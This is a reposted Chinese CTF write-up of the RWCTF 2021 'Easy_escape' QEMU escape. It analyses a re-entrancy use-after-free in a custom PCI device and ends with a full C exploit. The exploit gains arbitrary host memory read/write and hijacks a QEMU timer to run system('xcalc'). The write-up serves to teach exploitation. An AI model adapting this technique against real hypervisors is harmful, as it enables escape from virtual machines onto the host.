-
-
[转帖]pwn qemu虚拟机逃逸分析(二):RWCTF2021 Easy_escape
-
发表于: 2024-1-5 15:57 3522
-
Easy_Escape是RealWorld CTF 2021中的qemu逃逸题目,它实现了一个名为fun的设备,有两个操作:fun_mmio_write和fun_mmio_read。
漏洞分析
fun_mmio_read
和 fun_mmio_write
内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size) { uint32_t_0 val; // [rsp+20h] [rbp-10h] val = -1; switch ( addr ) { case 0uLL: val = opaque->size; break ; case 4uLL: val = opaque->addr; break ; case 8uLL: val = opaque->result_addr; break ; case 0xCuLL: val = opaque->idx; break ; case 0x10uLL: if ( opaque->req ) handle_data_write(opaque, opaque->req, opaque->idx); break ; default : return val; } return val; } void __cdecl fun_mmio_write(FunState *opaque, hwaddr addr, uint32_t_0 val, unsigned int size) { switch ( addr ) { case 0uLL: opaque->size = val; break ; case 4uLL: opaque->addr = val; break ; case 8uLL: opaque->result_addr = val; break ; case 0xCuLL: opaque->idx = val; break ; case 0x10uLL: if ( opaque->req ) handle_data_read(opaque, opaque->req, opaque->idx); break ; case 0x14uLL: if ( !opaque->req ) opaque->req = create_req(opaque->size); break ; case 0x18uLL: if ( opaque->req ) delete_req(opaque->req); opaque->req = 0LL; opaque->size = 0; break ; default : return ; } } |
其中 handle_data_read
和 handle_data_write
函数内容如下,两个函数均调用了 put_result
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val) { if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 ) { put_result(fun, 1u); dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL); put_result(fun, 2u); } } void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val) { if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 ) { put_result(fun, 1u); dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL); put_result(fun, 2u); } } |
其中 dma_memory_read
和 dma_memory_write
定义如下:
1 2 | static inline int dma_memory_read(AddressSpace *as, dma_addr_t addr, void *buf, dma_addr_t len) static inline int dma_memory_write(AddressSpace *as, dma_addr_t addr, const void *buf, dma_addr_t len) |
dma_memory_read
是将 addr
处的数据复制到 buf
中,dma_memory_write
是将 buf
处的数据复制到 addr
中。其中 addr
是虚拟机中的物理地址。
在实际调试过程中发现 put_result
函数会再次调用到 handle_data_write
函数。
调用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size) handle_data_write(opaque, opaque->req, opaque->idx); put_result(fun, 1u); dma_memory_write(fun->as, fun->result_addr, &result, 4uLL); dma_memory_rw(as, addr, ( void *)buf, len, DMA_DIRECTION_FROM_DEVICE); dma_memory_rw_relaxed(as, addr, buf, len, dir); address_space_rw(as, addr, MEMTXATTRS_UNSPECIFIED, buf, len, dir == DMA_DIRECTION_FROM_DEVICE); address_space_write(as, addr, attrs, buf, len); flatview_write(fv, addr, attrs, buf, len); flatview_write_continue(fv, addr, attrs, buf, len, addr1, l, mr); memory_region_dispatch_write(mr, addr1, val, size_memop(l), attrs); access_with_adjusted_size(addr, &data, size, mr->ops->impl.min_access_size, mr->ops->impl.max_access_size, memory_region_write_accessor, mr, attrs); memory_region_write_accessor(mr, addr + i, value, access_size, i * 8, access_mask, attrs) mr->ops->write(mr->opaque, addr, tmp, size); |
并且再次调用 handle_data_write
时 addr
参数为 opaque->result_addr
减掉 mmio 内存的地址。
另外当 addr = 0x18
时会释放 req
相关结构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | void __cdecl delete_req(FunReq *req) { uint32_t_0 i; // [rsp+18h] [rbp-8h] uint32_t_0 t; // [rsp+1Ch] [rbp-4h] t = (req->total_size >> 10) + 1; for ( i = 0; i < t; ++i ) free (req->list[i]); free (req); } case 0x18uLL: if ( opaque->req ) delete_req(opaque->req); opaque->req = 0LL; opaque->size = 0; break ; |
因此不难想到可以通过设置 opaque->result_addr
为 mmio_addr + 0x18
然后调用 handle_data
函数来实现 UAF 。
漏洞利用
create_req
会创建 req
和 ⌊212opaque -> size⌋+1 个 chunk ,每个chunk 大小为 0x410 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | FunReq *__cdecl create_req(uint32_t_0 size) { uint32_t_0 i; // [rsp+10h] [rbp-10h] uint32_t_0 t; // [rsp+14h] [rbp-Ch] FunReq *req; // [rsp+18h] [rbp-8h] if ( size > 0x1FBFF ) return 0LL; req = (FunReq *) malloc (0x400uLL); memset (req, 0, sizeof (FunReq)); req->total_size = size; t = (req->total_size >> 10) + 1; for ( i = 0; i < t; ++i ) req->list[i] = ( char *) malloc (0x400uLL); return req; } case 0x14uLL: if ( !opaque->req ) opaque->req = create_req(opaque->size); break ; |
FunReq
结构体定义如下:
1 2 3 4 5 6 7 8 | 00000000 FunReq struc ; (sizeof = 0x400 , align = 0x8 , copyof_4859) 00000000 total_size dd ? 00000004 db ? ; undefined 00000005 db ? ; undefined 00000006 db ? ; undefined 00000007 db ? ; undefined 00000008 list dq 127 dup(?) ; offset 00000400 FunReq ends |
因此我们创建 req
并在 req.list
中申请三个 chunk 。
在 fun_mmio_read->handle_data_write->dma_memory_write_9
时发生 UAF,此时读取的 req.list[0]
中的数据实际上是 tcache_pthread_struct
中的数据,因此可以泄露 req
的地址,另外 tcache_pthread_struct
之后有一个指向存放 qemu 地址的内存的指针也可以泄露。
再次创建 req
。
之后 fun_mmio_write->handle_data_read->dma_memory_read_9
时 UAF 修改 req.list[1]
的 fd
指向 req
。
再次创建 req
时 req.list[2]
指向 req
。此时实现了 req
的自写,其中 lreq.ist[0]
为 NULL 时因为 tcache 在取出 chunk 时会将 key 字段置 0 。
我们可以通过 req
自写将 list[0]
指向目标地址从而实现任意地址读写。之后就是常规的泄露 qemu 基址,改 main_loop_tlg
指向的 QEMUTimerList
实现逃逸。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 | #include <ctype.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> void qword_dump( char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL) { printf ( "[*] %s:\n" , desc); } for ( int i = 0; i < len / 8; i += 4) { printf ( " %04x" , i * 8); for ( int j = 0; j < 4; j++) { i + j < len / 8 ? printf ( " 0x%016lx" , buf64[i + j]) : printf ( " " ); } printf ( " " ); for ( int j = 0; j < 32 && j + i * 8 < len; j++) { printf ( "%c" , isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ( "" ); } } #define PAGE_SIZE 0x1000 size_t vaddr_to_paddr( size_t vaddr) { int pagemap_fd = open( "/proc/self/pagemap" , O_RDONLY); lseek(pagemap_fd, vaddr / PAGE_SIZE * 8, SEEK_SET); size_t data; read(pagemap_fd, &data, 8); close(pagemap_fd); return data * PAGE_SIZE + (vaddr % PAGE_SIZE); } #define SIZE 0x0 #define ADDR 0x4 #define RESULT_ADDR 0x8 #define INDEX 0xC #define HANDLE_DATA 0x10 #define CREATE_REQ 0x14 #define DELETE_REQ 0x18 void *mmio_mem; void mmio_write(uint32_t addr, uint32_t value) { *((uint32_t *) (mmio_mem + addr)) = value; } uint32_t mmio_read(uint32_t addr) { return *((uint32_t *) (mmio_mem + addr)); } char *buf; size_t buf_paddr; size_t req_addr; char cmd[] = "xcalc" ; void arbitrary_address_read( size_t address) { mmio_write(SIZE, (3 - 1) << 10); mmio_write(INDEX, 2); *( size_t *) (buf + (2 << 10)) = (3 - 1) << 10; *( size_t *) (buf + (2 << 10) + 8) = address; *( size_t *) (buf + (2 << 10) + 0x10) = 0; *( size_t *) (buf + (2 << 10) + 0x18) = req_addr; mmio_write(HANDLE_DATA, 0x114514); mmio_write(INDEX, 0); mmio_read(HANDLE_DATA); } void arbitrary_address_write( size_t address) { mmio_write(SIZE, (3 - 1) << 10); mmio_write(INDEX, 2); *( size_t *) (buf + (2 << 10)) = (3 - 1) << 10; *( size_t *) (buf + (2 << 10) + 8) = address; *( size_t *) (buf + (2 << 10) + 0x10) = 0; *( size_t *) (buf + (2 << 10) + 0x18) = req_addr; mmio_write(HANDLE_DATA, 0x114514); mmio_write(INDEX, 0); mmio_write(HANDLE_DATA, 0x1919810); } int main() { int mmio_fd = open( "/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC); if (mmio_fd < 0) { perror ( "[-] failed to open mmio." ); exit (-1); } mmio_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem < 0) { perror ( "[-] failed to mmap mmio_mem." ); exit (-1); } FILE *resource_fd = fopen ( "/sys/devices/pci0000:00/0000:00:04.0/resource" , "r" ); if (resource_fd == NULL) { perror ( "[-] failed to open resource." ); exit (-1); } size_t mmio_addr; fscanf (resource_fd, "%p" , &mmio_addr); printf ( "[*] mmio_addr: %p\n" , mmio_addr); buf = ( char *) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memset (buf, 0, PAGE_SIZE); printf ( "[*] buf vaddr: %p\n" , buf); buf_paddr = vaddr_to_paddr(( size_t ) buf); printf ( "[*] buf paddr: %p\n" , buf_paddr); mmio_write(SIZE, (3 - 1) << 10); mmio_write(ADDR, buf_paddr); mmio_write(INDEX, 0); mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ); mmio_write(CREATE_REQ, 0x114514); mmio_read(HANDLE_DATA); qword_dump( "leak req addr from tcache_perthread_struct (req->list[0])" , buf, 0x400); req_addr = *( size_t *) (buf + 0x278); printf ( "[+] req_addr: %p\n" , req_addr); size_t leak_addr_addr = *( size_t *) (buf + 0x358); printf ( "[+] leak_addr addr: %p\n" , leak_addr_addr); *( size_t *) (buf + (1 << 10)) = req_addr; mmio_write(SIZE, (3 - 1) << 10); mmio_write(ADDR, buf_paddr); mmio_write(INDEX, 1); mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ); mmio_write(CREATE_REQ, 0x114514); mmio_write(HANDLE_DATA, 0x1919810); mmio_write(RESULT_ADDR, 1); mmio_write(SIZE, (3 - 1) << 10); mmio_write(CREATE_REQ, 0x114514); mmio_write(INDEX, 2); arbitrary_address_read(leak_addr_addr); size_t elf_base = *( size_t *) buf - 0x6761b0; printf ( "[+] elf base: %p\n" , elf_base); size_t system_plt = elf_base + 0x2b8a74; printf ( "[*] system@plt addr: %p\n" , system_plt); size_t main_loop_tlg_addr = elf_base + 0x112cd40; printf ( "[*] main_loop_tlg addr: %p\n" , main_loop_tlg_addr); arbitrary_address_read(main_loop_tlg_addr); size_t QEMUTimer_addr = *( size_t *) (buf + 8); printf ( "[+] QEMUTimer addr: %p\n" , QEMUTimer_addr); arbitrary_address_read(QEMUTimer_addr); *( size_t *) (buf + 0x58) = system_plt; *( size_t *) (buf + 0x60) = QEMUTimer_addr + 0x200; strcpy (buf + 0x200, cmd); arbitrary_address_write(QEMUTimer_addr); return 0; } |
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!